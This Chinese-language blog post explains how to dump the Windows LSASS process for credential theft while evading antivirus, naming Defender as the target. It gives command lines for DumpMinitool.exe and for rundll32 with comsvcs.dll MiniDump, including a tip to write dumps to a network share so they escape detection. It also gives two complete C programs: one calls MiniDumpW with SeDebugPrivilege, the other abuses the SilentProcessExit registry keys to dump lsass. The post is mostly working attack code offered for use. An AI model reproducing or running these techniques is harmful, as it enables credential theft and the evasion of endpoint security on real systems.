过杀软dumphash

之前通过网上的文章 学习了一下如何对mimikatz做免杀,虽然但是吧,mimikatz是免杀了,dumphash会被杀掉 这就有点不能接受

参考了 https://www.anquanke.com/post/id/252552#h2-0
https://xz.aliyun.com/t/11199#toc-7
这这两篇文章,试验总结了一下可用的bypass dumphash,杀软是最新的杀软(时间是 2022/04/13),最终目标是过defender

1.DumpMinitool.exe

这个东西最开始的起源是我看到的mr.d0x的某推上分享了的一个LOLBIN,通过vs2022里的DumpMinitool.exe来导出lsass进程

他的路径为

C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions

然后 如果在vs2022路径下未能找到 则需要 更新vs2022

这东西有微软的签名 defender 自然也是不会说啥,但是 如果你通过此工具dumphash

DumpMinitool.exe --file 1.txt --processId 980 --dumpType Full

dump出来的文件会被defender秒杀 不过,我们可以把他写入网络路径里,然后通过mimikatz去读

DumpMinitool.exe --file $IPC --processID 980 --dumpType Full


这样就没问题了

2.Comsvcs.dll

每个Windows系统中都可以找到该文件,可以使用Rundll32执行其导出函数MiniDump实现进程的完全转储。

该文件是一个白名单文件,我们主要是利用了Comsvsc.dll中的导出函数APIMiniDump来实现转储lsass.exe的目的,注意同样是需要管理员权限:
该文件位于C:\windows\system32\comsvcs.dll
我们使用如下方式来调用MiniDump实现转储lsass.exe进程:

rundll32 C:\windows\system32\comsvcs.dll MiniDump "<lsass.exe pid> dump.bin full"

该行为太过于敏感,在原理上都是通过APIMiniDumpWriteDump()获得进程的dmp文件

而某些安全产品已经开始拦截这种行为,拦截的方法如下:

通过用户模式下的API hook,使用跳转(JMP)命令将NtReadVirtualMemory()的前5个字节修改为指向另一个内存地址

因此我们可以不妨自己实现一个该DLL的功能,主要为MiniDump的功能来绕过行为检测
comsvcs.dll找到了我们需要使用的MiniDumpw函数:

这里还需要解释为什么有时候在cmd下无法使用comsvcs.dll的MiniDump来转储内存文件,因为在dump指定进程内存文件时,需要开启SeDebugPrivilege权限,而在cmd中是默认没有开启该权限的

而在PS中是默认开启的选项:

因此在实战中可以考虑多使用:

powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 508 C:\86189\lsass.dmp full"

已达到转储lsass.exe的目的
总而言之这个函数能够做的事就是可以将进程赋予SeDebugPrivilege权限以此来Dump内存文件
具体有关该函数的实现可以参考这篇文章:
https://bbs.pediy.com/thread-76552.htm

因此借鉴下国外作者的原版代码:

#define UNICODE //使用UNICODE 对应main函数就是wmain
#include <Windows.h>
#include <stdio.h>

typedef HRESULT(WINAPI* _MiniDumpW)(
    DWORD arg1, DWORD arg2, PWCHAR cmdline
    );

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
    );
// "<pid> <dump.bin> full"
int wmain(int argc, wchar_t* argv[]) {
    HRESULT hr;
    _MiniDumpW MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG t;
    //从comsvcs.dll中获得MiniDunpw导出函数
    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    //从NTdll中获得RtlAdjustPrivilege导出函数用户提权
    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(LoadLibrary(L"ntdll.dll"), "RtlAdjustPrivilege");
    if (MiniDumpW == NULL) {
        printf("Unable to resolve COMSVCS!MiniDumpW.\n");
        return 0;
    }

    if (RtlAdjustPrivilege == NULL) {
        printf("Unable to resolve RtlAdjustPrivilege.\n");
        return 0;
    }
    // 获取SeDebugPrivilege,最后一个参数别设置为NULL
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    printf("Invoking COMSVCS!MiniDumpW(\"%ws\")\n", argv[1]);
    //dump lsass.exe

    MiniDumpW(0, 0, argv[1]);

    printf("OK!\n");

    return 0;
}

这里要选择和你系统位数相对应的 生成一下解决方案



nice

3. 静默进程退出机制触发LSASS

该技术和Werfault.exe进程有关,在某个运行中的进程崩溃时,werfault.exe将会Dump崩溃进程的内存,从这一点上看,我们是有可能可以利用该行为进行目标进程内存的Dump。

https://www.mrwu.red/web/2000.html 这篇文章中介绍了利用蓝屏崩溃来绕过卡巴斯基dump lsass进程,在win7之后,windows引入一些进程退出的相关机制

称为“静默进程退出”的机制,该机制提供了在两种情况下可以触发对被监控进行进行特殊动作的能力:
(1)被监控进程调用 ExitProcess() 终止自身;

(2)其他进程调用 TerminateProcess() 结束被监控进程。

也就意味着当进程调用ExitProcess() 或 TerminateProcess()的时候,可以触发对该进程的如下几个特殊的动作:

  • 启动一个监控进程
  • 显示一个弹窗
  • 创建一个Dump文件

由于该功能默认不开启,我们需要对注册表进行操作,来开启该功能,主要的注册表项为:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<被监控进程名>\ 注册

程序源码如下

#include "windows.h"
#include "tlhelp32.h"
#include "stdio.h"
#include "shlwapi.h"

#pragma comment(lib, "shlwapi.lib")

#define IFEO_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
#define SILENT_PROCESS_EXIT_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"
#define LOCAL_DUMP 0x2
#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200
#define DUMP_FOLDER L"C:\\temp"
#define MiniDumpWithFullMemory 0x2

typedef NTSTATUS(NTAPI* fRtlReportSilentProcessExit)(
    HANDLE processHandle,
    NTSTATUS ExitStatus
    );

BOOL EnableDebugPriv() {
    HANDLE hToken = NULL;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        printf(" - 获取当前进程Token失败 %#X\n", GetLastError());
        return FALSE;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
        printf(" - Lookup SE_DEBUG_NAME失败 %#X\n", GetLastError());
        return FALSE;
    }
    TOKEN_PRIVILEGES tokenPriv;
    tokenPriv.PrivilegeCount = 1;
    tokenPriv.Privileges[0].Luid = luid;
    tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL)) {
        printf(" - AdjustTokenPrivileges 失败: %#X\n", GetLastError());
        return FALSE;
    }
    return TRUE;
}

BOOL setRelatedRegs(PCWCHAR procName) {

    HKEY hkResSubIFEO = NULL;
    HKEY hkResSubSPE = NULL;
    DWORD globalFlag = FLG_MONITOR_SILENT_PROCESS_EXIT;
    DWORD reportingMode = MiniDumpWithFullMemory;
    DWORD dumpType = LOCAL_DUMP, retstatus = -1;

    BOOL ret = FALSE;

    PWCHAR subkeyIFEO = (PWCHAR)malloc(lstrlenW(IFEO_REG_KEY) * 2 + lstrlenW(procName) * 2 + 5);
    wsprintf(subkeyIFEO, L"%ws%ws", IFEO_REG_KEY, procName);
    PWCHAR subkeySPE = (PWCHAR)malloc(lstrlenW(SILENT_PROCESS_EXIT_REG_KEY) * 2 + lstrlenW(procName) * 2 + 5);
    wsprintf(subkeySPE, L"%ws%ws", SILENT_PROCESS_EXIT_REG_KEY, procName);

    printf(" - [DEBUGPRINT] Image_File_Execution_Options: %ws\n", subkeyIFEO);
    printf(" - [DEBUGPRINT] SilentProcessExit: %ws\n", subkeySPE);

    do {
        // 设置 Image File Execution Options\<ProcessName> 下GlobalFlag键值为0x200
        if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeyIFEO, &hkResSubIFEO))) {
            printf(" - 打开注册表项 Image_File_Execution_Options 失败: %#X\n", GetLastError());
            break;
        }
        if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubIFEO, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&globalFlag, sizeof(globalFlag)))) {
            printf(" - 设置注册表键 GlobalFlag 键值失败: %#X\n", GetLastError());
            break;
        }

        // 设置 SilentProcessExit\<ProcessName> 下 ReporingMode/LocalDumpFolder/DumpType 三个值
        if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeySPE, &hkResSubSPE))) {
            printf(" - 打开注册表项 SilentProcessExit 失败: %#X\n", GetLastError());
            break;
        }
        if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&reportingMode, sizeof(reportingMode)))
            || ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)DUMP_FOLDER, lstrlenW(DUMP_FOLDER) * 2))
            || ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"DumpType", 0, REG_DWORD, (const BYTE*)&dumpType, sizeof(dumpType)))) {
            printf(" - 设置注册表键 reportingMode|LocalDumpFolder|DumpType 键值失败: %#X\n", GetLastError());
            break;
        }
        printf(" - 注册表设置完成 ...\n");
        ret = TRUE;

    } while (FALSE);

    free(subkeyIFEO);
    free(subkeySPE);
    if (hkResSubIFEO)
        CloseHandle(hkResSubIFEO);
    if (hkResSubSPE)
        CloseHandle(hkResSubSPE);

    return ret;
}

DWORD getPidByName(PCWCHAR procName) {

    HANDLE hProcSnapshot;
    DWORD retPid = -1;
    hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe;

    if (INVALID_HANDLE_VALUE == hProcSnapshot) {
        printf(" - 创建快照失败!\n");
        return -1;
    }
    pe.dwSize = sizeof(PROCESSENTRY32W);
    if (!Process32First(hProcSnapshot, &pe)) {
        printf(" - Process32First Error : %#X\n", GetLastError());
        return -1;
    }
    do {
        if (!lstrcmpiW(procName, PathFindFileName(pe.szExeFile))) {
            retPid = pe.th32ProcessID;
        }
    } while (Process32Next(hProcSnapshot, &pe));
    CloseHandle(hProcSnapshot);
    return retPid;
}

INT main() {

    PCWCHAR targetProcName = L"lsass.exe";
    DWORD pid = -1;
    HMODULE hNtMod = NULL;
    fRtlReportSilentProcessExit fnRtlReportSilentProcessExit = NULL;
    HANDLE hLsassProc = NULL;
    NTSTATUS ntStatus = -1;

    if (!EnableDebugPriv()) {
        printf(" - 启用当前进程DEBUG权限失败: %#X\n", GetLastError());
        return 1;
    }
    printf(" - 启用当前进程DEBUG权限 OK\n");

    if (!setRelatedRegs(targetProcName)) {
        printf(" - 设置相关注册表键值失败: %#X\n", GetLastError());
        return 1;
    }
    printf(" - 设置相关注册表键值 OK\n");

    pid = getPidByName(targetProcName);
    if (-1 == pid) {
        printf(" - 获取目标进程pid: %#X\n", pid);
        return 1;
    }
    printf(" - 获取目标PID: %#X\n", pid);

    do
    {
        hNtMod = GetModuleHandle(L"ntdll.dll");
        if (!hNtMod) {
            printf(" - 获取NTDLL模块句柄失败\n");
            break;
        }
        printf(" - NTDLL模块句柄: %#X\n", (DWORD)hNtMod);
        fnRtlReportSilentProcessExit = (fRtlReportSilentProcessExit)GetProcAddress(hNtMod, "RtlReportSilentProcessExit");
        if (!fnRtlReportSilentProcessExit) {
            printf(" - 获取API RtlReportSilentProcessExit地址失败\n");
            break;
        }
        printf(" - RtlReportSilentProcessExit地址: %#X\n", (DWORD)fnRtlReportSilentProcessExit);
        hLsassProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, 0, pid);
        if (!hLsassProc) {
            printf(" - 获取lsass进程句柄失败: %#X\n", GetLastError());
            break;
        }
        printf(" - 获取lsass进程句柄: %#X\n", (DWORD)hLsassProc);

        ntStatus = fnRtlReportSilentProcessExit(hLsassProc, 0);
        printf(" - 结束,查看c:\\temp\\lsass*.dmp...RET CODE : %#X\n", (DWORD)ntStatus);

    } while (false);

    if (hNtMod)
        CloseHandle(hNtMod);
    if (fnRtlReportSilentProcessExit)
        CloseHandle(fnRtlReportSilentProcessExit);
    if (hLsassProc)
        CloseHandle(hLsassProc);
    if (fnRtlReportSilentProcessExit)
        fnRtlReportSilentProcessExit = NULL;

    return 0;
}

然后编译生成 运行

目前就试了这些 杀软对此无动于衷